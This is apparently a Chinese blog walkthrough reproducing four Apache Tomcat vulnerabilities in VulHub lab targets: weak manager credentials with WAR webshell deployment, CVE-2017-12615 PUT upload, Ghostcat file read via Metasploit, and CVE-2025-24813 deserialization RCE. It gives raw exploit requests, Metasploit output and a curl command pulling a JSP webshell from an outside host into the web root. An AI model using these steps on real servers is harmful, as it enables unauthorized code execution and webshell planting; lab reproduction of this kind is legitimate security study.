VulHub Tomcat漏洞复现(ALL)

Tomcat8

靶机说明:


Tomcat8+弱口令&&后台getshell漏洞
Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有相应权限。
manager(后台管理)
manager-gui 拥有html页面权限
manager-status 拥有查看status的权限
manager-script 拥有text接口的权限,和status权限
manager-jmx 拥有jmx权限,和status权限
host-manager(虚拟主机管理)
admin-gui 拥有html页面权限
admin-script 拥有text接口权限

复现复现

image
登录口:
image
抓包看一下,有一串base64,解码后是刚刚输入的账号密码
image
爆破拿到账密:tomcat;tomcat
直接登录,有一个上传文件的地方,提示可以上传war包
image
用哥斯拉生成一个shell.jsp
image
将shell.jsp用jar打包成war包
image
找到上传的jsp文件
image
哥斯拉连接,拿到shell
image

Tomcat(CVE-2017-12615)

漏洞描述:

Tomcat 的 web.xml 文件中默认配置 readonly 为 true,禁止PUT 和 DELETE 操作。当 readonly 被设置为 false 时,可以用PUT 方法任意写文件漏洞

复现复现复现

测试:用PUT方法可以上传1.jsp文件,且能访问到
image

image
直接上传jsp一句话,上传成功
image
?cmd可以直接执行命令
image
这里用蚁剑的一句话jsp也是可以的,那就对应地连接蚁剑就行

Tomcat(CVE-2020-1938)

靶机描述:

Java 是目前 Web 开发中最主流的编程语言,而 Tomcat 是当前最流行的 Java 中间件服务器之一,从初版发布到现在已经有二十多年历史,在世界范围内广泛使用。

Ghostcat(幽灵猫) 是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞,由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。

复现复现

image
可以扫描到8009端口
直接上msf打就完了


msf6 > search cve-2020-1938

Matching Modules
================

   #  Name                                  Disclosure Date  Rank    Check  Description
   -  ----                                  ---------------  ----    -----  -----------
   0  auxiliary/admin/http/tomcat_ghostcat  2020-02-20       normal  Yes    Apache Tomcat AJP File Read


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/admin/http/tomcat_ghostcat

msf6 > use 0
msf6 auxiliary(admin/http/tomcat_ghostcat) > show options

Module options (auxiliary/admin/http/tomcat_ghostcat):

   Name      Current Setting   Required  Description
   ----      ---------------   --------  -----------
   FILENAME  /WEB-INF/web.xml  yes       File name
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/
                                         using-metasploit.html
   RPORT     8009              yes       The Apache JServ Protocol (AJP) port (TCP)


View the full module info with the info, or info -d command.

msf6 auxiliary(admin/http/tomcat_ghostcat) > set RHOST 192.168.242.31
RHOST => 192.168.242.31
msf6 auxiliary(admin/http/tomcat_ghostcat) > run
[*] Running module against 192.168.242.31
<?xml version="1.0" encoding="UTF-8"?>
<!--
 Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at

      http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
                      http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
  version="4.0"
  metadata-complete="true">

  <display-name>Welcome to Tomcat</display-name>
  <description>
     Welcome to Tomcat
  </description>

</web-app>

[+] 192.168.242.31:8009 - File contents save to: /home/kali/.msf4/loot/20260618033804_default_192.168.242.31_WEBINFweb.xml_156408.txt
[*] Auxiliary module execution completed

这里要读取什么文件,在参数里面修改filename就行

Tomcat(CVE-2025-24813)

靶机描述

Tomcat 远程代码执行漏洞(CVE-2025-24813)

Apache Tomcat 是一个广泛使用的开源Java Servlet、JavaServer Pages、Java Expression Language和WebSocket技术的实现。

在Tomcat版本 9.x ~ 9.0.97,10.x ~ 10.1.34, 11.x ~ 11.0.2 中,当 Tomcat 同时配置了可写的 DefaultServlet(readonly=false)

和基于文件的会话持久化时,攻击者可以向服务器写入任意文件,并通过操作 JSESSIONID cookie 触发这些文件的反序列化,最终导致远程代码执行。

复现复现复现

【Yso-Java Hack】模块快速生成一个利用payload:
image
使用以下数据包上传,需要注意Range的分块值需要与Length保持一致,且大于当前文件的长度。


PUT /xxxxx/session HTTP/1.1  
Host: 127.0.0.1:8080  
Content-Length: 1000  
Content-Range: bytes 0-1000/1200  
​
{{反序列化文件内容)}}

image
使用以下poc进行触发


GET / HTTP/1.1
Host: 127.0.0.1:8080
Cookie: JSESSIONID=.xxxxx

image

也可以上传webshell,把执行的命令修改一下即可,默认执行cmd的地方是bin目录,马传到那上面没用,所以把路径改一下就ok了,其他反弹shell啥的都是一样的

这里如果写入失败的话,有可能是本地普通用户无写文件的权限,设置一下就能写进去了

curl -o "..\webapps\ROOT\shell.jsp" "https://www.plumstar.cn/shell.jsp"

image

传上去的jsp马是存在的,但是你访问是不可读的,这里应该是tomcat的某些机制

posted @ 2026-06-18 09:23  Yhsec  阅读(24)  评论(0)    收藏  举报
//雪花飘落效果